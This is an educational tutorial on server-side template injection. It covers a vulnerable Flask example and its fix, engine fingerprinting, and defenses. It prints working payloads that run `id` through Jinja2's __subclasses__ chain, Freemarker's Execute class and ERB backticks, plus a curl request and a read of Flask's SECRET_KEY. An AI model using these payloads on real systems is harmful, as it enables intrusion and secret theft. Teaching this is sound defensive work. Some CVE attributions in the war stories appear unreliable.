INTAKE
A template engine takes a template — text with placeholders — and a context, and produces a rendered string. The placeholders are evaluated. When user input ends up inside the template itself rather than the context, the engine evaluates the user's input as code. That's the bug. That's the whole class.
Most developers have never thought about the difference between rendering Hello {{ name }} with name = userInput and rendering Hello ${userInput} directly. The first is safe. The second is a server giving away its shell. This note is about why, and how to find sites making that mistake.
MENTAL MODEL
Imagine a printing press. The template is the typeset page — fixed text with slots for variables. The context is a tray of letter blocks. When the press runs, blocks slide into slots, the page prints. Normal.
Now imagine someone hands you a tray of new typeset rows and you slot those rows into your page before printing. Whatever was on those rows — instructions, code, anything — gets pressed onto the final page as if you had typeset it yourself.
That is the difference between data and template. SSTI is when an application accidentally lets user input become part of the template instead of part of the context.
Concretely: when you type {{7*7}} into a search bar and the response says 49, you've just watched the server evaluate code you wrote. The server didn't print the literal string {{7*7}}. It interpreted it. Once a server is willing to interpret what you send it, the question stops being "can I exploit this" and becomes "what does this engine let me reach from inside its expression syntax."
The path from {{7*7}} to remote code execution is a path through the language's object model — finding the right chain of attribute accesses to get from a number to a string class to a module that imports os and then to os.system. That path always exists, in every language, in every engine. The only question is how many hops away from your starting payload it sits.
This is also why SSTI is so often confused with XSS, and why that confusion is dangerous. XSS runs JavaScript in someone else's browser. SSTI runs server-side code on the company's infrastructure. Same-looking payload, different blast radius. If your <script>alert(1)</script> shows up in the page source but the curly-brace test {{7*7}} does not return 49, you have XSS, not SSTI. If {{7*7}} returns 49, the page source is no longer the interesting part — the server is.
ANATOMY
Here is the minimum amount of code it takes to ship an SSTI bug to production. This is Python and Flask, but the pattern is identical across stacks.
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/greet")
def greet():
name = request.args.get("name", "stranger")
template = f"Hello {name}, welcome to the site."
return Template(template).render()A developer wrote this thinking: "I need to greet the user by name. Jinja2 renders templates. Let me build the template string with their name in it and render it."
The bug is in line 7. The user's input gets concatenated into the template string before the template is constructed. Now Template(template) sees a Jinja2 template that includes whatever the user wrote — and whatever curly braces they included will be parsed as Jinja2 expressions.
The fix is a single line. Use the context, not the template:
return Template("Hello {{ name }}, welcome to the site.").render(name=name)The template string is now a constant — a compile-time literal. The user input is passed as a value to render(), which inserts it as a string, never as code. The placeholder {{ name }} is part of the template; the value of name is data. Different worlds.
That is the entire bug, end to end. Every SSTI in the world is a variation on this: somewhere, user input flowed into the template string instead of into the context, and the template engine — doing its job — evaluated it.
The reason this bug ships so often is that string concatenation feels safe to developers who came up in the SQL injection era. They've been trained to escape user input before putting it in queries. Templates feel like just-strings, and concatenating into a string doesn't feel dangerous the way concatenating into SQL does. Until you remember that the string is about to be parsed by an evaluator.
VARIANTS
The bug class is universal; the syntax varies. You'll meet four engines often enough to memorize their fingerprints.
Jinja2 (Python)
Used by Flask, Ansible, Salt, and roughly half the Python web stack. Syntax: {{ expression }} for output, {% statement %} for control flow.
{{ 7*7 }} → 49
{{ config }} → <Config {...}> (Flask app config object — often dumps secrets)
{{ ''.__class__ }} → <class 'str'>
The __class__ chain is how you climb from any object up to the Python object model and back down to anything else loaded into memory. We'll walk that chain in EXPLOITATION.
Twig (PHP)
Used by Symfony and Drupal. Same {{ }} and {% %} syntax as Jinja2 — they look identical at first.
{{ 7*7 }} → 49
{{ _self.env }} → Twig environment (Symfony 2.x — gone in 3.x)
{{ dump(app) }} → application object (Symfony only, debug mode)
To distinguish Twig from Jinja2: try {{ 7*'7' }}. Twig returns 49 (silent type coercion). Jinja2 raises a TypeError. Small tell, big confirmation.
Freemarker (Java)
Used by Apache OFBiz, Atlassian products historically, plenty of Spring apps. Syntax: ${expression} for output, <#directive> for control flow.
${7*7} → 49
<#assign x="freemarker.template.utility.Execute"?new()>${ x("id") }
→ executes `id` shell command
Freemarker's Execute utility is the canonical RCE chain. Whether it's accessible depends on which built-ins the template author left enabled, which is usually "all of them."
ERB (Ruby)
Used by Rails, Sinatra, every Ruby web framework ever shipped. Syntax: <%= expression %> for output, <% statement %> for execution.
<%= 7*7 %> → 49
<%= `id` %> → executes `id` (backticks shell out in Ruby)
<%= system("id") %> → same, returns exit status
ERB is the most dangerous of the four for one reason: in Ruby, every string between backticks shells out. There's no climbing required. If you can inject ERB, you have a shell in one line.
Others worth fingerprinting
- Velocity (Java, older):
${expression},#directive. Look for#set($x="..."). - Smarty (PHP, legacy but alive):
{$var},{php}{/php}blocks if$security_classis unset. - Handlebars (JavaScript):
{{ expression }}, but Handlebars is famously locked-down. SSTI in real Handlebars is rare; SSTI in misconfigured Handlebars is not.
DETECTION
You're testing a form field, a URL parameter, a header that gets rendered somewhere. You suspect templating. The methodology is the same in every case: send a math expression that survives URL encoding, watch the response.
Phase one: confirm evaluation
Send {{7*7}}. If the response contains 49, you have curly-brace evaluation — Jinja2, Twig, or a relative. If not, try ${7*7} — Freemarker, Velocity. Then <%= 7*7 %> — ERB. Then *{7*7} — Thymeleaf and other less-common engines. One of them will fire on a vulnerable target, or none will and you should move on.
A common false negative: the response shows 7*7 literally because the template engine ran but the expression didn't parse. That's still SSTI — it means your payload reached the parser but had a syntax error. Try simpler expressions or check for engine-specific syntax.
Phase two: fingerprint the engine
Once you know the bracket family, narrow down which engine. The fingerprint payloads in VARIANTS get you there. The fastest single-shot fingerprint:
Phase three: probe the object model
You have an engine. Now you need to know what's reachable from inside an expression. This is engine-specific, but the pattern is the same: find an object the template gives you access to, then walk its attributes until you find something dangerous.
In Jinja2 the climb starts from any object's __class__. In Freemarker it starts from ?new() on a known utility class. In ERB you already have Ruby, so just write Ruby.
EXPLOITATION
I'll walk the Jinja2 chain because it's the most instructive — once you understand it, the others fall into place.
You start with a string. Any string. The empty string works:
{{ ''.__class__ }}
This returns <class 'str'>. You now have the str class object. From any class, you can reach its parent class, all the way up to object itself, which is the root of Python's class hierarchy.
{{ ''.__class__.__mro__ }}
__mro__ (method resolution order) gives you the chain: (str, object). The object class is at index 1. From object, you can reach __subclasses__() — every class loaded into the Python process.
{{ ''.__class__.__mro__[1].__subclasses__() }}
This returns a list of every class Python knows about — hundreds of them, including file handlers, OS bindings, subprocess wrappers, and warning-system internals. The actual exploit is finding an index in that list that gets you to something useful.
In a default Flask app, subprocess.Popen is usually somewhere in that list. Find its index (varies by Python version, common values are between 250 and 400), then:
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id', shell=True, stdout=-1).communicate() }}
That executes id on the server and returns the output to you in the rendered page.
The Flask shortcut
If the target is Flask specifically, you don't have to walk the class tree. Flask exposes its config object directly in template scope, and the config usually contains secrets:
{{ config }}
{{ config.items() }}
{{ config['SECRET_KEY'] }}
Game over for any session-signing system that depended on SECRET_KEY being secret.
Freemarker RCE in one shot
<#assign cmd="freemarker.template.utility.Execute"?new()>${ cmd("id") }
That's the entire exploit. No object tree to climb — Freemarker ships an Execute utility class and you can instantiate it from any template unless the deployer explicitly disabled freemarker.template.utility.* access. Most don't.
ERB
<%= `id` %>
That's it. Ruby's backtick-shell built into the language, ERB just lets you write Ruby.
$ curl 'https://target.example.com/render?template=%3C%25%3D+%60id%60+%25%3E' uid=33(www-data) gid=33(www-data) groups=33(www-data)
Sandbox escapes
Some engines try to sandbox. Jinja2's SandboxedEnvironment blocks __class__ access and most dunders. Twig's sandbox mode blocks _self access. These sandboxes have been broken many times — search "jinja2 sandbox escape CVE" and pick a year.
The general principle for sandbox escape: find an object the sandbox forgot to filter, then use that object's methods to reach what was filtered. Filters work on names; if you can access the same underlying class through a different name, the filter doesn't fire. Real example from CVE-2019-8341 (Jinja2): {% set x = cycler.__init__.__globals__ %} reached globals through cycler because the filter list didn't include it.
DEFENSES
The fix is short. The discipline is hard.
Never construct a template string from user input. If your template engine accepts a context dictionary, use it. If you find yourself writing template = "Hello " + name + ", welcome.", you have already lost — stop and refactor before that line ships.
# Wrong — user input becomes part of the template
return Template(f"Hello {user.name}").render()
# Right — user input is a value passed to a constant template
return Template("Hello {{ name }}").render(name=user.name)Use the framework's default rendering path. Flask's render_template_string() exists and is one of the most-abused functions in the Python ecosystem. Use render_template() against a file on disk instead. Templates on disk can't have user input concatenated into them by accident.
If you must accept template fragments from users — don't. This is a real product requirement in some apps (email template builders, custom report systems). If you absolutely need it, use a sandboxed engine designed for it: Jinja2's SandboxedEnvironment with a strict allowlist of callables, or a purpose-built logic-less templating language like Mustache or Handlebars. Accept that any sandbox can be broken given a determined attacker and a CVE backlog.
Static analysis catches this. Semgrep has rules for "template constructed from variable input" in every major language. Wire it into CI. The lint catches at PR time what would otherwise ship.
Defense in depth that actually helps: run the application server with minimal filesystem and network permissions. SSTI to RCE on a process that can't write to disk and can't egress is significantly less catastrophic. This won't prevent the bug — it limits the explosion radius when the bug ships, which it eventually will somewhere in any codebase that uses templating.
Things that don't help: WAF rules trying to match {{ and }}, input length limits, escaping HTML entities. None of these address the actual problem, which is that user input is treated as code by the template engine. WAFs in particular get bypassed by the second payload variation that wasn't in their ruleset, while creating false confidence.
LAB GAUNTLET
PortSwigger's SSTI labs are the best way to internalize this. Work them in order. After each lab, come back here and re-read the relevant section — you'll catch nuances you missed the first time.
You'll find SSTI in a parameter that controls product rendering. The lab gives you Python access; the muscle to build is recognizing the entry point. Fingerprint first, exploit second.
The injection is inside an existing template expression rather than free-form. You'll need to break out of the expression context first. Practice escaping quotes and balancing braces.
The point of this lab is method, not memorization. You'll identify the engine, then learn to read its docs faster than its bugs. This is what bug bounty work actually looks like.
You won't recognize the engine at first. The skill to build is fingerprinting from response behavior, not from prior knowledge. Use the payload tree above.
Not every SSTI is RCE on day one. Sometimes you read secrets first — config, environment, database credentials. This lab is that scenario.
The sandbox is real and the obvious payloads will fail. You'll need to find an object the filter forgot. This is where the WAR STORIES section becomes practical preparation.
No published exploit exists. You'll write one from the engine's documentation and an understanding of what the template scope exposes. Hardest lab, most representative of real work.
WAR STORIES
Uber, 2016. A researcher named Orange Tsai found Flask SSTI on a subdomain via a misconfigured error page. The bounty was a relatively modest $10,000 at the time, but the writeup became required reading because it demonstrated the {{ config }} pattern at scale — a real-world target where Flask leaked its secrets through a template rendered on a 500-error path. The lesson that stuck: SSTI vulnerabilities hide in error-handling code more often than in main request flows, because error paths get less testing and more string concatenation.
Atlassian Confluence (CVE-2022-26134). A Confluence Server pre-authentication OGNL injection — OGNL being a templating expression language similar in spirit to the engines in this note. Active exploitation was observed in the wild within days of disclosure. Worth reading the public PoC: a single GET request to a crafted URL gave full RCE on internet-facing Confluence instances. Estimated thousands of corporate wikis were compromised before patches rolled out. This is what happens when SSTI lives in a pre-auth code path on an enterprise product.
Apache OFBiz. Multiple Freemarker SSTI CVEs over the years (2021's CVE-2021-26295, 2023's CVE-2023-49070, and others) — same root cause every time: user input reaching the Freemarker template, Execute utility reachable, shell on the OFBiz server. The pattern keeps repeating because OFBiz is huge, old, and Freemarker is everywhere in it. Worth searching the CVE database for "Freemarker" to see the long tail.
The common thread across all three: SSTI is rarely a flashy zero-day discovery. It's almost always a reachable code path someone forgot to audit, in a framework that was doing exactly what it was designed to do.
FURTHER READING
- PortSwigger's SSTI topic — the lab platform you'll spend the most time on
- James Kettle's original SSTI research (2015) — the paper that named this bug class. Still the most rigorous treatment of fingerprinting methodology.
- PayloadsAllTheThings — Server Side Template Injection — the community-maintained payload encyclopedia
- Hacktricks SSTI page — denser than PortSwigger, more payloads, less explanation
- Tplmap — automated SSTI scanner. Useful as a sanity check, not as a substitute for understanding.
END OF FILE
If you found this useful, the reverse engineering masterclass covers the binary-side equivalent — how attackers find the path from "user input" to "shell" at the assembly level. Next in the web security series: insecure deserialization, then prototype pollution.
If you're stuck on a specific lab and want help, the channel has video walkthroughs.